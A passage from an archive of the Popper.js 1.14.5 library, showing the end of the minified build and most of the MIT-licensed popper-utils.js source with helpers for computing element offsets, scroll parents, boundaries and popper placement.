we={shift:{order:100,enabled:!0,fn:ue},offset:{order:200,enabled:!0,fn:he,offset:0},preventOverflow:{order:300,enabled:!0,fn:ce,priority:['left','right','top','bottom'],padding:5,boundariesElement:'scrollParent'},keepTogether:{order:400,enabled:!0,fn:ae},arrow:{order:500,enabled:!0,fn:ne,element:'[x-arrow]'},flip:{order:600,enabled:!0,fn:fe,behavior:'flip',padding:5,boundariesElement:'viewport'},inner:{order:700,enabled:!1,fn:be},hide:{order:800,enabled:!0,fn:ge},computeStyle:{order:850,enabled:!0,fn:te,gpuAcceleration:!0,x:'bottom',y:'right'},applyStyle:{order:900,enabled:!0,fn:$,onLoad:ee,gpuAcceleration:void 0}},ye={placement:'bottom',positionFixed:!1,eventsEnabled:!0,removeOnDestroy:!1,onCreate:()=>{},onUpdate:()=>{},modifiers:we};class Ee{constructor(e,t,o={}){this.scheduleUpdate=()=>requestAnimationFrame(this.update),this.update=p(this.update.bind(this)),this.options=O({},Ee.Defaults,o),this.state={isDestroyed:!1,isCreated:!1,scrollParents:[]},this.reference=e&&e.jquery?e[0]:e,this.popper=t&&t.jquery?t[0]:t,this.options.modifiers={},Object.keys(O({},Ee.Defaults.modifiers,o.modifiers)).forEach((e)=>{this.options.modifiers[e]=O({},Ee.Defaults.modifiers[e]||{},o.modifiers?o.modifiers[e]:{})}),this.modifiers=Object.keys(this.options.modifiers).map((e)=>O({name:e},this.options.modifiers[e])).sort((e,t)=>e.order-t.order),this.modifiers.forEach((e)=>{e.enabled&&d(e.onLoad)&&e.onLoad(this.reference,this.popper,this.options,e,this.state)}),this.update();const n=this.options.eventsEnabled;n&&this.enableEventListeners(),this.state.eventsEnabled=n}update(){return U.call(this)}destroy(){return j.call(this)}enableEventListeners(){return z.call(this)}disableEventListeners(){return X.call(this)}}Ee.Utils=('undefined'==typeof window?global:window).PopperUtils,Ee.placements=re,Ee.Defaults=ye;export default Ee;
//# sourceMappingURL=popper.min.js.map
umd/popper-utils.js000064400000110643151677356750010365 0ustar00/**!
 * @fileOverview Kickass library to create and place poppers near their reference elements.
 * @version 1.14.5
 * @license
 * Copyright (c) 2016 Federico Zivolo and contributors
 *
 * Permission is hereby granted, free of charge, to any person obtaining a copy
 * of this software and associated documentation files (the "Software"), to deal
 * in the Software without restriction, including without limitation the rights
 * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
 * copies of the Software, and to permit persons to whom the Software is
 * furnished to do so, subject to the following conditions:
 *
 * The above copyright notice and this permission notice shall be included in all
 * copies or substantial portions of the Software.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
 * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
 * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
 * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
 * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
 * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
 * SOFTWARE.
 */
(function (global, factory) {
	typeof exports === 'object' && typeof module !== 'undefined' ? factory(exports) :
	typeof define === 'function' && define.amd ? define(['exports'], factory) :
	(factory((global.PopperUtils = {})));
}(this, (function (exports) { 'use strict';

/**
 * Get CSS computed property of the given element
 * @method
 * @memberof Popper.Utils
 * @argument {Eement} element
 * @argument {String} property
 */
function getStyleComputedProperty(element, property) {
  if (element.nodeType !== 1) {
    return [];
  }
  // NOTE: 1 DOM access here
  var window = element.ownerDocument.defaultView;
  var css = window.getComputedStyle(element, null);
  return property ? css[property] : css;
}

/**
 * Returns the parentNode or the host of the element
 * @method
 * @memberof Popper.Utils
 * @argument {Element} element
 * @returns {Element} parent
 */
function getParentNode(element) {
  if (element.nodeName === 'HTML') {
    return element;
  }
  return element.parentNode || element.host;
}

/**
 * Returns the scrolling parent of the given element
 * @method
 * @memberof Popper.Utils
 * @argument {Element} element
 * @returns {Element} scroll parent
 */
function getScrollParent(element) {
  // Return body, `getScroll` will take care to get the correct `scrollTop` from it
  if (!element) {
    return document.body;
  }

  switch (element.nodeName) {
    case 'HTML':
    case 'BODY':
      return element.ownerDocument.body;
    case '#document':
      return element.body;
  }

  // Firefox want us to check `-x` and `-y` variations as well

  var _getStyleComputedProp = getStyleComputedProperty(element),
      overflow = _getStyleComputedProp.overflow,
      overflowX = _getStyleComputedProp.overflowX,
      overflowY = _getStyleComputedProp.overflowY;

  if (/(auto|scroll|overlay)/.test(overflow + overflowY + overflowX)) {
    return element;
  }

  return getScrollParent(getParentNode(element));
}

var isBrowser = typeof window !== 'undefined' && typeof document !== 'undefined';

var isIE11 = isBrowser && !!(window.MSInputMethodContext && document.documentMode);
var isIE10 = isBrowser && /MSIE 10/.test(navigator.userAgent);

/**
 * Determines if the browser is Internet Explorer
 * @method
 * @memberof Popper.Utils
 * @param {Number} version to check
 * @returns {Boolean} isIE
 */
function isIE(version) {
  if (version === 11) {
    return isIE11;
  }
  if (version === 10) {
    return isIE10;
  }
  return isIE11 || isIE10;
}

/**
 * Returns the offset parent of the given element
 * @method
 * @memberof Popper.Utils
 * @argument {Element} element
 * @returns {Element} offset parent
 */
function getOffsetParent(element) {
  if (!element) {
    return document.documentElement;
  }

  var noOffsetParent = isIE(10) ? document.body : null;

  // NOTE: 1 DOM access here
  var offsetParent = element.offsetParent || null;
  // Skip hidden elements which don't have an offsetParent
  while (offsetParent === noOffsetParent && element.nextElementSibling) {
    offsetParent = (element = element.nextElementSibling).offsetParent;
  }

  var nodeName = offsetParent && offsetParent.nodeName;

  if (!nodeName || nodeName === 'BODY' || nodeName === 'HTML') {
    return element ? element.ownerDocument.documentElement : document.documentElement;
  }

  // .offsetParent will return the closest TH, TD or TABLE in case
  // no offsetParent is present, I hate this job...
  if (['TH', 'TD', 'TABLE'].indexOf(offsetParent.nodeName) !== -1 && getStyleComputedProperty(offsetParent, 'position') === 'static') {
    return getOffsetParent(offsetParent);
  }

  return offsetParent;
}

function isOffsetContainer(element) {
  var nodeName = element.nodeName;

  if (nodeName === 'BODY') {
    return false;
  }
  return nodeName === 'HTML' || getOffsetParent(element.firstElementChild) === element;
}

/**
 * Finds the root node (document, shadowDOM root) of the given element
 * @method
 * @memberof Popper.Utils
 * @argument {Element} node
 * @returns {Element} root node
 */
function getRoot(node) {
  if (node.parentNode !== null) {
    return getRoot(node.parentNode);
  }

  return node;
}

/**
 * Finds the offset parent common to the two provided nodes
 * @method
 * @memberof Popper.Utils
 * @argument {Element} element1
 * @argument {Element} element2
 * @returns {Element} common offset parent
 */
function findCommonOffsetParent(element1, element2) {
  // This check is needed to avoid errors in case one of the elements isn't defined for any reason
  if (!element1 || !element1.nodeType || !element2 || !element2.nodeType) {
    return document.documentElement;
  }

  // Here we make sure to give as "start" the element that comes first in the DOM
  var order = element1.compareDocumentPosition(element2) & Node.DOCUMENT_POSITION_FOLLOWING;
  var start = order ? element1 : element2;
  var end = order ? element2 : element1;

  // Get common ancestor container
  var range = document.createRange();
  range.setStart(start, 0);
  range.setEnd(end, 0);
  var commonAncestorContainer = range.commonAncestorContainer;

  // Both nodes are inside #document

  if (element1 !== commonAncestorContainer && element2 !== commonAncestorContainer || start.contains(end)) {
    if (isOffsetContainer(commonAncestorContainer)) {
      return commonAncestorContainer;
    }

    return getOffsetParent(commonAncestorContainer);
  }

  // one of the nodes is inside shadowDOM, find which one
  var element1root = getRoot(element1);
  if (element1root.host) {
    return findCommonOffsetParent(element1root.host, element2);
  } else {
    return findCommonOffsetParent(element1, getRoot(element2).host);
  }
}

/**
 * Gets the scroll value of the given element in the given side (top and left)
 * @method
 * @memberof Popper.Utils
 * @argument {Element} element
 * @argument {String} side `top` or `left`
 * @returns {number} amount of scrolled pixels
 */
function getScroll(element) {
  var side = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 'top';

  var upperSide = side === 'top' ? 'scrollTop' : 'scrollLeft';
  var nodeName = element.nodeName;

  if (nodeName === 'BODY' || nodeName === 'HTML') {
    var html = element.ownerDocument.documentElement;
    var scrollingElement = element.ownerDocument.scrollingElement || html;
    return scrollingElement[upperSide];
  }

  return element[upperSide];
}

/*
 * Sum or subtract the element scroll values (left and top) from a given rect object
 * @method
 * @memberof Popper.Utils
 * @param {Object} rect - Rect object you want to change
 * @param {HTMLElement} element - The element from the function reads the scroll values
 * @param {Boolean} subtract - set to true if you want to subtract the scroll values
 * @return {Object} rect - The modifier rect object
 */
function includeScroll(rect, element) {
  var subtract = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : false;

  var scrollTop = getScroll(element, 'top');
  var scrollLeft = getScroll(element, 'left');
  var modifier = subtract ? -1 : 1;
  rect.top += scrollTop * modifier;
  rect.bottom += scrollTop * modifier;
  rect.left += scrollLeft * modifier;
  rect.right += scrollLeft * modifier;
  return rect;
}

/*
 * Helper to detect borders of a given element
 * @method
 * @memberof Popper.Utils
 * @param {CSSStyleDeclaration} styles
 * Result of `getStyleComputedProperty` on the given element
 * @param {String} axis - `x` or `y`
 * @return {number} borders - The borders size of the given axis
 */

function getBordersSize(styles, axis) {
  var sideA = axis === 'x' ? 'Left' : 'Top';
  var sideB = sideA === 'Left' ? 'Right' : 'Bottom';

  return parseFloat(styles['border' + sideA + 'Width'], 10) + parseFloat(styles['border' + sideB + 'Width'], 10);
}

function getSize(axis, body, html, computedStyle) {
  return Math.max(body['offset' + axis], body['scroll' + axis], html['client' + axis], html['offset' + axis], html['scroll' + axis], isIE(10) ? parseInt(html['offset' + axis]) + parseInt(computedStyle['margin' + (axis === 'Height' ? 'Top' : 'Left')]) + parseInt(computedStyle['margin' + (axis === 'Height' ? 'Bottom' : 'Right')]) : 0);
}

function getWindowSizes(document) {
  var body = document.body;
  var html = document.documentElement;
  var computedStyle = isIE(10) && getComputedStyle(html);

  return {
    height: getSize('Height', body, html, computedStyle),
    width: getSize('Width', body, html, computedStyle)
  };
}

var _extends = Object.assign || function (target) {
  for (var i = 1; i < arguments.length; i++) {
    var source = arguments[i];

    for (var key in source) {
      if (Object.prototype.hasOwnProperty.call(source, key)) {
        target[key] = source[key];
      }
    }
  }

  return target;
};

/**
 * Given element offsets, generate an output similar to getBoundingClientRect
 * @method
 * @memberof Popper.Utils
 * @argument {Object} offsets
 * @returns {Object} ClientRect like output
 */
function getClientRect(offsets) {
  return _extends({}, offsets, {
    right: offsets.left + offsets.width,
    bottom: offsets.top + offsets.height
  });
}

/**
 * Get bounding client rect of given element
 * @method
 * @memberof Popper.Utils
 * @param {HTMLElement} element
 * @return {Object} client rect
 */
function getBoundingClientRect(element) {
  var rect = {};

  // IE10 10 FIX: Please, don't ask, the element isn't
  // considered in DOM in some circumstances...
  // This isn't reproducible in IE10 compatibility mode of IE11
  try {
    if (isIE(10)) {
      rect = element.getBoundingClientRect();
      var scrollTop = getScroll(element, 'top');
      var scrollLeft = getScroll(element, 'left');
      rect.top += scrollTop;
      rect.left += scrollLeft;
      rect.bottom += scrollTop;
      rect.right += scrollLeft;
    } else {
      rect = element.getBoundingClientRect();
    }
  } catch (e) {}

  var result = {
    left: rect.left,
    top: rect.top,
    width: rect.right - rect.left,
    height: rect.bottom - rect.top
  };

  // subtract scrollbar size from sizes
  var sizes = element.nodeName === 'HTML' ? getWindowSizes(element.ownerDocument) : {};
  var width = sizes.width || element.clientWidth || result.right - result.left;
  var height = sizes.height || element.clientHeight || result.bottom - result.top;

  var horizScrollbar = element.offsetWidth - width;
  var vertScrollbar = element.offsetHeight - height;

  // if an hypothetical scrollbar is detected, we must be sure it's not a `border`
  // we make this check conditional for performance reasons
  if (horizScrollbar || vertScrollbar) {
    var styles = getStyleComputedProperty(element);
    horizScrollbar -= getBordersSize(styles, 'x');
    vertScrollbar -= getBordersSize(styles, 'y');

    result.width -= horizScrollbar;
    result.height -= vertScrollbar;
  }

  return getClientRect(result);
}

function getOffsetRectRelativeToArbitraryNode(children, parent) {
  var fixedPosition = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : false;

  var isIE10 = isIE(10);
  var isHTML = parent.nodeName === 'HTML';
  var childrenRect = getBoundingClientRect(children);
  var parentRect = getBoundingClientRect(parent);
  var scrollParent = getScrollParent(children);

  var styles = getStyleComputedProperty(parent);
  var borderTopWidth = parseFloat(styles.borderTopWidth, 10);
  var borderLeftWidth = parseFloat(styles.borderLeftWidth, 10);

  // In cases where the parent is fixed, we must ignore negative scroll in offset calc
  if (fixedPosition && isHTML) {
    parentRect.top = Math.max(parentRect.top, 0);
    parentRect.left = Math.max(parentRect.left, 0);
  }
  var offsets = getClientRect({
    top: childrenRect.top - parentRect.top - borderTopWidth,
    left: childrenRect.left - parentRect.left - borderLeftWidth,
    width: childrenRect.width,
    height: childrenRect.height
  });
  offsets.marginTop = 0;
  offsets.marginLeft = 0;

  // Subtract margins of documentElement in case it's being used as parent
  // we do this only on HTML because it's the only element that behaves
  // differently when margins are applied to it. The margins are included in
  // the box of the documentElement, in the other cases not.
  if (!isIE10 && isHTML) {
    var marginTop = parseFloat(styles.marginTop, 10);
    var marginLeft = parseFloat(styles.marginLeft, 10);

    offsets.top -= borderTopWidth - marginTop;
    offsets.bottom -= borderTopWidth - marginTop;
    offsets.left -= borderLeftWidth - marginLeft;
    offsets.right -= borderLeftWidth - marginLeft;

    // Attach marginTop and marginLeft because in some circumstances we may need them
    offsets.marginTop = marginTop;
    offsets.marginLeft = marginLeft;
  }

  if (isIE10 && !fixedPosition ? parent.contains(scrollParent) : parent === scrollParent && scrollParent.nodeName !== 'BODY') {
    offsets = includeScroll(offsets, parent);
  }

  return offsets;
}

function getViewportOffsetRectRelativeToArtbitraryNode(element) {
  var excludeScroll = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : false;

  var html = element.ownerDocument.documentElement;
  var relativeOffset = getOffsetRectRelativeToArbitraryNode(element, html);
  var width = Math.max(html.clientWidth, window.innerWidth || 0);
  var height = Math.max(html.clientHeight, window.innerHeight || 0);

  var scrollTop = !excludeScroll ? getScroll(html) : 0;
  var scrollLeft = !excludeScroll ? getScroll(html, 'left') : 0;

  var offset = {
    top: scrollTop - relativeOffset.top + relativeOffset.marginTop,
    left: scrollLeft - relativeOffset.left + relativeOffset.marginLeft,
    width: width,
    height: height
  };

  return getClientRect(offset);
}

/**
 * Check if the given element is fixed or is inside a fixed parent
 * @method
 * @memberof Popper.Utils
 * @argument {Element} element
 * @argument {Element} customContainer
 * @returns {Boolean} answer to "isFixed?"
 */
function isFixed(element) {
  var nodeName = element.nodeName;
  if (nodeName === 'BODY' || nodeName === 'HTML') {
    return false;
  }
  if (getStyleComputedProperty(element, 'position') === 'fixed') {
    return true;
  }
  return isFixed(getParentNode(element));
}

/**
 * Finds the first parent of an element that has a transformed property defined
 * @method
 * @memberof Popper.Utils
 * @argument {Element} element
 * @returns {Element} first transformed parent or documentElement
 */

function getFixedPositionOffsetParent(element) {
  // This check is needed to avoid errors in case one of the elements isn't defined for any reason
  if (!element || !element.parentElement || isIE()) {
    return document.documentElement;
  }
  var el = element.parentElement;
  while (el && getStyleComputedProperty(el, 'transform') === 'none') {
    el = el.parentElement;
  }
  return el || document.documentElement;
}

/**
 * Computed the boundaries limits and return them
 * @method
 * @memberof Popper.Utils
 * @param {HTMLElement} popper
 * @param {HTMLElement} reference
 * @param {number} padding
 * @param {HTMLElement} boundariesElement - Element used to define the boundaries
 * @param {Boolean} fixedPosition - Is in fixed position mode
 * @returns {Object} Coordinates of the boundaries
 */
function getBoundaries(popper, reference, padding, boundariesElement) {
  var fixedPosition = arguments.length > 4 && arguments[4] !== undefined ? arguments[4] : false;

  // NOTE: 1 DOM access here

  var boundaries = { top: 0, left: 0 };
  var offsetParent = fixedPosition ? getFixedPositionOffsetParent(popper) : findCommonOffsetParent(popper, reference);

  // Handle viewport case
  if (boundariesElement === 'viewport') {
    boundaries = getViewportOffsetRectRelativeToArtbitraryNode(offsetParent, fixedPosition);
  } else {
    // Handle other cases based on DOM element used as boundaries
    var boundariesNode = void 0;
    if (boundariesElement === 'scrollParent') {
      boundariesNode = getScrollParent(getParentNode(reference));
      if (boundariesNode.nodeName === 'BODY') {
        boundariesNode = popper.ownerDocument.documentElement;
      }
    } else if (boundariesElement === 'window') {
      boundariesNode = popper.ownerDocument.documentElement;
    } else {
      boundariesNode = boundariesElement;
    }

    var offsets = getOffsetRectRelativeToArbitraryNode(boundariesNode, offsetParent, fixedPosition);

    // In case of HTML, we need a different computation
    if (boundariesNode.nodeName === 'HTML' && !isFixed(offsetParent)) {
      var _getWindowSizes = getWindowSizes(popper.ownerDocument),
          height = _getWindowSizes.height,
          width = _getWindowSizes.width;

      boundaries.top += offsets.top - offsets.marginTop;
      boundaries.bottom = height + offsets.top;
      boundaries.left += offsets.left - offsets.marginLeft;
      boundaries.right = width + offsets.left;
    } else {
      // for all the other DOM elements, this one is good
      boundaries = offsets;
    }
  }

  // Add paddings
  padding = padding || 0;
  var isPaddingNumber = typeof padding === 'number';
  boundaries.left += isPaddingNumber ? padding : padding.left || 0;
  boundaries.top += isPaddingNumber ? padding : padding.top || 0;
  boundaries.right -= isPaddingNumber ? padding : padding.right || 0;
  boundaries.bottom -= isPaddingNumber ? padding : padding.bottom || 0;

  return boundaries;
}

function getArea(_ref) {
  var width = _ref.width,
      height = _ref.height;

  return width * height;
}

/**
 * Utility used to transform the `auto` placement to the placement with more
 * available space.
 * @method
 * @memberof Popper.Utils
 * @argument {Object} data - The data object generated by update method
 * @argument {Object} options - Modifiers configuration and options
 * @returns {Object} The data object, properly modified
 */
function computeAutoPlacement(placement, refRect, popper, reference, boundariesElement) {
  var padding = arguments.length > 5 && arguments[5] !== undefined ? arguments[5] : 0;

  if (placement.indexOf('auto') === -1) {
    return placement;
  }

  var boundaries = getBoundaries(popper, reference, padding, boundariesElement);

  var rects = {
    top: {
      width: boundaries.width,
      height: refRect.top - boundaries.top
    },
    right: {
      width: boundaries.right - refRect.right,
      height: boundaries.height
    },
    bottom: {
      width: boundaries.width,
      height: boundaries.bottom - refRect.bottom
    },
    left: {
      width: refRect.left - boundaries.left,
      height: boundaries.height
    }
  };

  var sortedAreas = Object.keys(rects).map(function (key) {
    return _extends({
      key: key
    }, rects[key], {
      area: getArea(rects[key])
    });
  }).sort(function (a, b) {
    return b.area - a.area;
  });

  var filteredAreas = sortedAreas.filter(function (_ref2) {
    var width = _ref2.width,
        height = _ref2.height;
    return width >= popper.clientWidth && height >= popper.clientHeight;
  });

  var computedPlacement = filteredAreas.length > 0 ? filteredAreas[0].key : sortedAreas[0].key;

  var variation = placement.split('-')[1];

  return computedPlacement + (variation ? '-' + variation : '');
}

var longerTimeoutBrowsers = ['Edge', 'Trident', 'Firefox'];
var timeoutDuration = 0;
for (var i = 0; i < longerTimeoutBrowsers.length; i += 1) {
  if (isBrowser && navigator.userAgent.indexOf(longerTimeoutBrowsers[i]) >= 0) {
    timeoutDuration = 1;
    break;
  }
}

function microtaskDebounce(fn) {
  var called = false;
  return function () {
    if (called) {
      return;
    }
    called = true;
    window.Promise.resolve().then(function () {
      called = false;
      fn();
    });
  };
}

function taskDebounce(fn) {
  var scheduled = false;
  return function () {
    if (!scheduled) {
      scheduled = true;
      setTimeout(function () {
        scheduled = false;
        fn();
      }, timeoutDuration);
    }
  };
}

var supportsMicroTasks = isBrowser && window.Promise;

/**
* Create a debounced version of a method, that's asynchronously deferred
* but called in the minimum time possible.
*
* @method
* @memberof Popper.Utils
* @argument {Function} fn
* @returns {Function}
*/
var debounce = supportsMicroTasks ? microtaskDebounce : taskDebounce;

/**
 * Mimics the `find` method of Array
 * @method
 * @memberof Popper.Utils
 * @argument {Array} arr
 * @argument prop
 * @argument value
 * @returns index or -1
 */
function find(arr, check) {
  // use native find if supported
  if (Array.prototype.find) {
    return arr.find(check);
  }

  // use `filter` to obtain the same behavior of `find`
  return arr.filter(check)[0];
}

/**
 * Return the index of the matching object
 * @method
 * @memberof Popper.Utils
 * @argument {Array} arr
 * @argument prop
 * @argument value
 * @returns index or -1
 */
function findIndex(arr, prop, value) {
  // use native findIndex if supported
  if (Array.prototype.findIndex) {
    return arr.findIndex(function (cur) {
      return cur[prop] === value;
    });
  }

  // use `find` + `indexOf` if `findIndex` isn't supported
  var match = find(arr, function (obj) {
    return obj[prop] === value;
  });
  return arr.indexOf(match);
}

/**
 * Get the position of the given element, relative to its offset parent
 * @method
 * @memberof Popper.Utils
 * @param {Element} element
 * @return {Object} position - Coordinates of the element and its `scrollTop`
 */
function getOffsetRect(element) {
  var elementRect = void 0;
  if (element.nodeName === 'HTML') {
    var _getWindowSizes = getWindowSizes(element.ownerDocument),
        width = _getWindowSizes.width,
        height = _getWindowSizes.height;

    elementRect = {
      width: width,
      height: height,
      left: 0,
      top: 0
    };
  } else {
    elementRect = {
      width: element.offsetWidth,
      height: element.offsetHeight,
      left: element.offsetLeft,
      top: element.offsetTop
    };
  }

  // position
  return getClientRect(elementRect);
}

/**
 * Get the outer sizes of the given element (offset size + margins)
 * @method
 * @memberof Popper.Utils
 * @argument {Element} element
 * @returns {Object} object containing width and height properties
 */
function getOuterSizes(element) {
  var window = element.ownerDocument.defaultView;
  var styles = window.getComputedStyle(element);
  var x = parseFloat(styles.marginTop) + parseFloat(styles.marginBottom);
  var y = parseFloat(styles.marginLeft) + parseFloat(styles.marginRight);
  var result = {
    width: element.offsetWidth + y,
    height: element.offsetHeight + x
  };
  return result;
}

/**
 * Get the opposite placement of the given one
 * @method
 * @memberof Popper.Utils
 * @argument {String} placement
 * @returns {String} flipped placement
 */
function getOppositePlacement(placement) {
  var hash = { left: 'right', right: 'left', bottom: 'top', top: 'bottom' };
  return placement.replace(/left|right|bottom|top/g, function (matched) {
    return hash[matched];
  });
}

/**
 * Get offsets to the popper
 * @method
 * @memberof Popper.Utils
 * @param {Object} position - CSS position the Popper will get applied
 * @param {HTMLElement} popper - the popper element
 * @param {Object} referenceOffsets - the reference offsets (the popper will be relative to this)
 * @param {String} placement - one of the valid placement options
 * @returns {Object} popperOffsets - An object containing the offsets which will be applied to the popper
 */
function getPopperOffsets(popper, referenceOffsets, placement) {
  placement = placement.split('-')[0];

  // Get popper node sizes
  var popperRect = getOuterSizes(popper);

  // Add position, width and height to our offsets object
  var popperOffsets = {
    width: popperRect.width,
    height: popperRect.height
  };

  // depending by the popper placement we have to compute its offsets slightly differently
  var isHoriz = ['right', 'left'].indexOf(placement) !== -1;
  var mainSide = isHoriz ? 'top' : 'left';
  var secondarySide = isHoriz ? 'left' : 'top';
  var measurement = isHoriz ? 'height' : 'width';
  var secondaryMeasurement = !isHoriz ? 'height' : 'width';

  popperOffsets[mainSide] = referenceOffsets[mainSide] + referenceOffsets[measurement] / 2 - popperRect[measurement] / 2;
  if (placement === secondarySide) {
    popperOffsets[secondarySide] = referenceOffsets[secondarySide] - popperRect[secondaryMeasurement];
  } else {
    popperOffsets[secondarySide] = referenceOffsets[getOppositePlacement(secondarySide)];
  }

  return popperOffsets;
}

/**
 * Get offsets to the reference element
 * @method
 * @memberof Popper.Utils
 * @param {Object} state
 * @param {Element} popper - the popper element
 * @param {Element} reference - the reference element (the popper will be relative to this)
 * @param {Element} fixedPosition - is in fixed position mode
 * @returns {Object} An object containing the offsets which will be applied to the popper
 */
function getReferenceOffsets(state, popper, reference) {
  var fixedPosition = arguments.length > 3 && arguments[3] !== undefined ? arguments[3] : null;

  var commonOffsetParent = fixedPosition ? getFixedPositionOffsetParent(popper) : findCommonOffsetParent(popper, reference);
  return getOffsetRectRelativeToArbitraryNode(reference, commonOffsetParent, fixedPosition);
}

/**
 * Get the prefixed supported property name
 * @method
 * @memberof Popper.Utils
 * @argument {String} property (camelCase)
 * @returns {String} prefixed property (camelCase or PascalCase, depending on the vendor prefix)
 */
function getSupportedPropertyName(property) {
  var prefixes = [false, 'ms', 'Webkit', 'Moz', 'O'];
  var upperProp = property.charAt(0).toUpperCase() + property.slice(1);

  for (var i = 0; i < prefixes.length; i++) {
    var prefix = prefixes[i];
    var toCheck = prefix ? '' + prefix + upperProp : property;
    if (typeof document.body.style[toCheck] !== 'undefined') {
      return toCheck;
    }
  }
  return null;
}

/**
 * Check if the given variable is a function
 * @method
 * @memberof Popper.Utils
 * @argument {Any} functionToCheck - variable to check
 * @returns {Boolean} answer to: is a function?
 */
function isFunction(functionToCheck) {
  var getType = {};
  return functionToCheck && getType.toString.call(functionToCheck) === '[object Function]';
}

/**
 * Helper used to know if the given modifier is enabled.
 * @method
 * @memberof Popper.Utils
 * @returns {Boolean}
 */
function isModifierEnabled(modifiers, modifierName) {
  return modifiers.some(function (_ref) {
    var name = _ref.name,
        enabled = _ref.enabled;
    return enabled && name === modifierName;
  });
}

/**
 * Helper used to know if the given modifier depends from another one.<br />
 * It checks if the needed modifier is listed and enabled.
 * @method
 * @memberof Popper.Utils
 * @param {Array} modifiers - list of modifiers
 * @param {String} requestingName - name of requesting modifier
 * @param {String} requestedName - name of requested modifier
 * @returns {Boolean}
 */
function isModifierRequired(modifiers, requestingName, requestedName) {
  var requesting = find(modifiers, function (_ref) {
    var name = _ref.name;
    return name === requestingName;
  });

  var isRequired = !!requesting && modifiers.some(function (modifier) {
    return modifier.name === requestedName && modifier.enabled && modifier.order < requesting.order;
  });

  if (!isRequired) {
    var _requesting = '`' + requestingName + '`';
    var requested = '`' + requestedName + '`';
    console.warn(requested + ' modifier is required by ' + _requesting + ' modifier in order to work, be sure to include it before ' + _requesting + '!');
  }
  return isRequired;
}

/**
 * Tells if a given input is a number
 * @method
 * @memberof Popper.Utils
 * @param {*} input to check
 * @return {Boolean}
 */
function isNumeric(n) {
  return n !== '' && !isNaN(parseFloat(n)) && isFinite(n);
}

/**
 * Get the window associated with the element
 * @argument {Element} element
 * @returns {Window}
 */
function getWindow(element) {
  var ownerDocument = element.ownerDocument;
  return ownerDocument ? ownerDocument.defaultView : window;
}

/**
 * Remove event listeners used to update the popper position
 * @method
 * @memberof Popper.Utils
 * @private
 */
function removeEventListeners(reference, state) {
  // Remove resize event listener on window
  getWindow(reference).removeEventListener('resize', state.updateBound);

  // Remove scroll event listener on scroll parents
  state.scrollParents.forEach(function (target) {
    target.removeEventListener('scroll', state.updateBound);
  });

  // Reset state
  state.updateBound = null;
  state.scrollParents = [];
  state.scrollElement = null;
  state.eventsEnabled = false;
  return state;
}

/**
 * Loop trough the list of modifiers and run them in order,
 * each of them will then edit the data object.
 * @method
 * @memberof Popper.Utils
 * @param {dataObject} data
 * @param {Array} modifiers
 * @param {String} ends - Optional modifier name used as stopper
 * @returns {dataObject}
 */
function runModifiers(modifiers, data, ends) {
  var modifiersToRun = ends === undefined ? modifiers : modifiers.slice(0, findIndex(modifiers, 'name', ends));

  modifiersToRun.forEach(function (modifier) {
    if (modifier['function']) {
      // eslint-disable-line dot-notation
      console.warn('`modifier.function` is deprecated, use `modifier.fn`!');
    }
    var fn = modifier['function'] || modifier.fn; // eslint-disable-line dot-notation
    if (modifier.enabled && isFunction(fn)) {
      // Add properties to offsets to make them a complete clientRect object
      // we do this before each modifier to make sure the previous one doesn't
      // mess with these values
      data.offsets.popper = getClientRect(data.offsets.popper);
      data.offsets.reference = getClientRect(data.offsets.reference);

      data = fn(data, modifier);
    }
  });

  return data;
}

/**
 * Set the attributes to the given popper
 * @method
 * @memberof Popper.Utils
 * @argument {Element} element - Element to apply the attributes to
 * @argument {Object} styles
 * Object with a list of properties and values which will be applied to the element
 */
function setAttributes(element, attributes) {
  Object.keys(attributes).forEach(function (prop) {
    var value = attributes[prop];
    if (value !== false) {
      element.setAttribute(prop, attributes[prop]);
    } else {
      element.removeAttribute(prop);
    }
  });
}

/**
 * Set the style to the given popper
 * @method
 * @memberof Popper.Utils
 * @argument {Element} element - Element to apply the style to
 * @argument {Object} styles
 * Object with a list of properties and values which will be applied to the element
 */
function setStyles(element, styles) {
  Object.keys(styles).forEach(function (prop) {
    var unit = '';
    // add unit if the value is numeric and is one of the following
    if (['width', 'height', 'top', 'right', 'bottom', 'left'].indexOf(prop) !== -1 && isNumeric(styles[prop])) {
      unit = 'px';
    }
    element.style[prop] = styles[prop] + unit;
  });
}

function attachToScrollParents(scrollParent, event, callback, scrollParents) {
  var isBody = scrollParent.nodeName === 'BODY';
  var target = isBody ? scrollParent.ownerDocument.defaultView : scrollParent;
  target.addEventListener(event, callback, { passive: true });

  if (!isBody) {
    attachToScrollParents(getScrollParent(target.parentNode), event, callback, scrollParents);
  }
  scrollParents.push(target);
}

/**
 * Setup needed event listeners used to update the popper position
 * @method
 * @memberof Popper.Utils
 * @private
 */
function setupEventListeners(reference, options, state, updateBound) {
  // Resize event listener on window
  state.updateBound = updateBound;
  getWindow(reference).addEventListener('resize', state.updateBound, { passive: true });

  // Scroll event listener on scroll parents
  var scrollElement = getScrollParent(reference);
  attachToScrollParents(scrollElement, 'scroll', state.updateBound, state.scrollParents);
  state.scrollElement = scrollElement;
  state.eventsEnabled = true;

  return state;
}

// This is here just for backward compatibility with versions lower than v1.10.3
// you should import the utilities using named exports, if you want them all use:
// ```
// import * as PopperUtils from 'popper-utils';
// ```
// The default export will be removed in the next major version.
var index = {
  computeAutoPlacement: computeAutoPlacement,
  debounce: debounce,
  findIndex: findIndex,
  getBordersSize: getBordersSize,
  getBoundaries: getBoundaries,
  getBoundingClientRect: getBoundingClientRect,
  getClientRect: getClientRect,
  getOffsetParent: getOffsetParent,
  getOffsetRect: getOffsetRect,
  getOffsetRectRelativeToArbitraryNode: getOffsetRectRelativeToArbitraryNode,
  getOuterSizes: getOuterSizes,
  getParentNode: getParentNode,
